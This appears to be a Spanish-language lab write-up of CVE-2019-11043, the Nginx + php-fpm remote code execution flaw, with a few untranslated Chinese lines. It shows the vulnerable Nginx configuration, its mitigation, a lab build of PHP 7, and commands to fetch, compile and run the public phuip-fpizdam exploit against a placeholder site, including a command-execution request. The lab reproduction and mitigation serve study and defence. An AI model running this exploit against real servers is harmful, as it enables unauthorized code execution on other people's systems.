
CVE-2019-11043 PHP Ejecución remota de código
El 26 de septiembre, PHP publicó un aviso oficial de vulnerabilidad, en el que señaló que los servidores que usan Nginx + php-fpm, bajo ciertas configuraciones, presentan una vulnerabilidad de ejecución remota de código. Además, esta configuración es ampliamente utilizada, por lo que el riesgo es alto.
El PoC de la vulnerabilidad se hizo público el 22 de octubre, y los medios de seguridad nacionales emitieron una advertencia oportuna.
En Nginx, cuando fastcgi_split_path_info procesa una solicitud con %0a, PATH_INFO se vacía debido al salto de línea \n. Mientras tanto, php-fpm tiene una falla lógica al manejar un PATH_INFO vacío. Un atacante, mediante una construcción y explotación cuidadosas, puede causar la ejecución remota de código.
Los servidores Nginx + php-fpm, cuando usan la siguiente configuración, pueden presentar una vulnerabilidad de ejecución remota de código.
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
Sin afectar el negocio normal, elimine la siguiente configuración del archivo de configuración de Nginx:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
github: https://github.com/neex/phuip-fpizdam
Este POC aprovecha la optimización en la variable FastCGI _fcgi_data_seg. Esta optimización solo existe en PHP7, por lo que el exploit público solo es válido en php7; en el entorno PHP5 se necesita otro exploit para que funcione.
Configurar el entorno, montar nginx + php-fpm y verificar que el trabajo sea efectivo.
Descargar php7, descomprimir y entrar al directorio
wget -c http://cn2.php.net/distributions/php-7.2.4.tar.gz
tar -xzvf php-7.2.4.tar.gz
Instalar paquetes de dependencias relacionados con compresión, ssl, etc.
yum install -y libxml2*
yum install -y openssl*
yum install -y libcurl*
yum install -y libjpeg*
yum install -y libpng*
yum install -y freetype*
yum install -y libmcrypt*
Ejecutar configure para compilar el código fuente
./configure --prefix=/usr/local/php --with-config-file-path=/usr/local/php/etc --with-mysqli --with-pdo-mysql --with-iconv-dir --with-freetype-dir --with-jpeg-dir --with-png-dir --with-zlib --with-libxml-dir --enable-simplexml --enable-xml --disable-rpath --enable-bcmath --enable-soap --enable-zip --with-curl --enable-fpm --with-fpm-user=www --with-fpm-group=www --enable-mbstring --enable-sockets --with-gd --with-openssl --with-mhash --enable-opcache --disable-fileinfo
make & make install
Configurar php-fpm; si se configuran varios PHP, puede cambiar el puerto 9000 a 9001
修改php-fpm配置文件:
$ cd /usr/local/php/etc
$ cp php-fpm.conf.default php-fpm.conf
$ vi php-fpm.conf
去掉 pid = run/php-fpm.pid 前面的分号
$ cd php-fpm.d
$ cp www.conf.default www.conf (修改端口)
$ vi www.conf
修改user和group的用户为非root用户
./php-fpm
Agregue la siguiente configuración en nginx.cof:
location ~ [^/]\.php(/|$) {
root /opt/apache/www;
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass 127.0.0.1:9001;
include fastcgi_params;
}
Reiniciar nginx
Instalar go y compilar el código POC
go get github.com/neex/phuip-fpizdam(文件下载在go的src目录下)
go build github.com/neex/phuip-fpizdam(全路径,会在当前目录生成运行文件)
Ejecutar el POC
./phuip-fpizdam http://website.com/index.php
./phuip-fpizdam http://website.com/index.php?a=command
[Lamentablemente, no sé qué problema hay en el entorno de configuración; la verificación falló]
2019/10/29 01:13:19 Detect() returned error: no qsl candidates found, invulnerable or something wrong
Enlace original: https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
Descargar los archivos del proyecto docker
Ejecutar docker-compose up -d para iniciar el contenedor docker

Ejecutar el programa; se muestra que la ejecución fue exitosa, aprovechando la vulnerabilidad para ejecutar el comando "id" y mostrar su salida


Cerrar el servicio docker
docker ps
docker stop id